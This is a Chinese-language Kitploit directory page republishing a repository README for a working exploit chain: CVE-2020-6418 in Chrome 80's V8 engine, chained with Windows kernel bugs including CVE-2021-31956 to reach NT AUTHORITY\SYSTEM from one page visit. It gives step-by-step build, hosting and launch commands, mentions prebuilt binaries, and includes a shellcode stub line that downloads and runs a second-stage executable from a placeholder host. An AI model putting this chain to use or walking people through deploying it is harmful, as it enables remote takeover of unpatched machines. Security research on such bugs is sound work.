Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-6418 — 针对 CVE-2020-6418(Chrome RCE)的单阶段漏洞利用链,结合 Windows 提权至 SYSTEM,附带构建脚本和预编译二进制文件。 | Kitploit
工具/GitHubGitHub/a-mansilla/cve-2020-6418
权限提升漏洞利用框架漏洞分析漏洞利用Web应用程序漏洞利用Payload 开发二进制利用
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

针对 CVE-2020-6418(Chrome RCE)的单阶段漏洞利用链,结合 Windows 提权至 SYSTEM,附带构建脚本和预编译二进制文件。

查看仓库
8天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-6418:Chrome RCE 与 Windows 权限提升链式利用

这个仓库包含一个可用的单阶段漏洞利用链,针对 CVE-2020-6418(V8 的 Turbofan 编译器中的一个类型混淆漏洞,影响 Google Chrome 80.0.3987.87 x64)。当使用存在漏洞的 Chrome 访问恶意页面时,你会在渲染器进程内获得原生代码执行能力。从那里开始,该漏洞利用会下载并启动第二个二进制文件,该文件将另外两个漏洞串联起来(NtPowerInformation 中缺少长度检查,以及 CVE-2021-31956(ntfs.sys 中的池溢出)),从而从未授权进程一路上升到 NT AUTHORITY\SYSTEM。

整个过程只需访问页面一次,浏览器漏洞到 SYSTEM shell 之间无需任何手动步骤。

Chrome 漏洞利用的原始功劳归于 Clement Lecigne(漏洞发现,Google TAG)和 Istvan Kurucsai / Vignesh S Rao(原始概念验证,后来作为 Metasploit 模块发布)。我们移除了 Metasploit 依赖,并围绕一个原生下载器重新构建了投递机制,而不是将 payload 嵌入页面。详见 browser-exploit/README.md。

仓库布局

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

你需要什么

攻击机(“主机”): 任何较新的 Windows,带有 Visual Studio 2019 或 2022(任何版本均可,Community 版即可,或者仅 Build Tools)、NASM 和 Python 3。这是你构建所有内容并托管漏洞利用页面的地方。

目标机(“VM”): 必须完全匹配,漏洞利用依赖硬编码的偏移量,这些偏移量仅对这些特定版本有效。

  • Windows 10 20H1,build 19041.264 x64。用 winver 或 PowerShell 中的 [System.Environment]::OSVersion 检查。
  • Google Chrome 80.0.3987.87 x64(该 bug 已在 80.0.3987.122 中修补,因此必须是这个确切版本或更早的易受攻击版本)。用 chrome://version 检查。
  • 一个 C:\lab8 文件夹(可以为空,只需要存在即可)。

我们在带有仅主机网络适配器的 VMware Workstation VM 上进行了测试,但任何让 VM 能通过 HTTP 访问主机的设置都以相同方式工作。

快速开始

1. 在主机上构建所有内容

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

首次构建之前,打开 browser-exploit\shellcode\download_and_run_stub.asm,并编辑底部附近的两行:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP 是这台机器从 VM 视角看到的 IP 地址(在 VM 上运行 ipconfig,检查与你的仅主机或 NAT 网络匹配的网络适配器;或者直接在主机上运行 ipconfig,使用与 VM 同一子网的适配器)。destination_path 应与你希望 EoP 二进制文件在 VM 内落地的位置一致,默认为 C:\lab8。

编辑后,重新汇编 stub 并重新生成 exploit.html(即第 1 步中的两个命令,跳过 privilege-escalation 的构建,因为它不依赖 IP)。

如果你不想为了快速测试而修改汇编文件,prebuilt/ 中已有一个可用副本,其中内置了我们自己的测试 IP。只有在你的网络恰好匹配时它才能工作,因此构建自己的副本才是可靠的方式。

2. 在主机上托管漏洞利用

将 exploit.html 和 exploit.exe(在 privilege-escalation/ 中构建的那个)放在同一文件夹中,然后:

root@kitploit:~
python -m http.server 8000

exploit.exe 必须能够通过你上面在 download_url 中填写的确切 URL 访问,因为原生 stub 是直接获取它,而不是通过浏览器。

关于主机防火墙的快速说明:如果 VM 无法访问端口 8000,几乎总是 Windows Defender 防火墙在未分类网络上阻止了入站连接,或者有一条遗留规则专门阻止 python.exe(Windows 有时会在应用首次尝试在不受信任的网络接受连接时自动创建这样的规则)。如果遇到这种情况,请在提升的 PowerShell 中检查 Get-NetFirewallRule -DisplayName "python.exe"。

3. 设置 VM

  • 确认 Windows 构建版本和 Chrome 版本符合上述要求。

  • 如果 C:\lab8 尚不存在,则创建它(空目录即可)。

  • 如果这是一个从未经过真实启动周期的裸 VM,C:\Windows\bootstat.dat 可能缺失或为空,而内核漏洞需要该文件存在且具有有效内容。如果需要:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. 运行

使用 --no-sandbox 启动存在漏洞的 Chrome(此 PoC 不包含沙箱逃逸,因此渲染器必须已经处于无沙箱状态,才能访问文件系统并生成进程),并将其指向该页面:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

打开 DevTools(F12)并查看 Console 标签页,漏洞利用会在那里记录其进度。如果一切正常,你应该会看到类型混淆成功,stub 下载并启动 EoP 二进制文件,几秒后会出现一个以 NT AUTHORITY\SYSTEM 身份运行的新控制台窗口。

如果出现问题

  • Chrome 崩溃而不是运行漏洞利用:几乎总是 Chrome 构建版本不匹配。exploit_template.html 中的偏移量(objleaker_offset、float_carw_elements_offset 等)特定于 80.0.3987.87 x64,即使只差一个补丁版本,它们在其他构建版本上也无法工作。
  • EoP 二进制文件打开了控制台但从未到达 SYSTEM:同理,请检查 Windows 构建版本是否确为 19041.264。内核偏移量(DEFAULT_RVA_ANCHOR、DEFAULT_RVA_SEPSD,以及 privilege-escalation/exploit.c 中的各种 EPROCESS/ETHREAD 偏移量)是针对该版本硬编码的。
  • 下载 stub 似乎没有获取任何内容:请仔细检查 download_and_run_stub.asm 中的 download_url 是否与主机实际监听的地址和端口一致,并确保 VM 能够访问它(在 VM 内部直接执行 curl http://YOUR_HOST_IP:8000/exploit.exe 是在归咎于漏洞利用之前确认连通性的快速方法)。

有关每个部分的更多细节(包括为何以这种方式构建),请参阅各文件夹的 README。

下载工具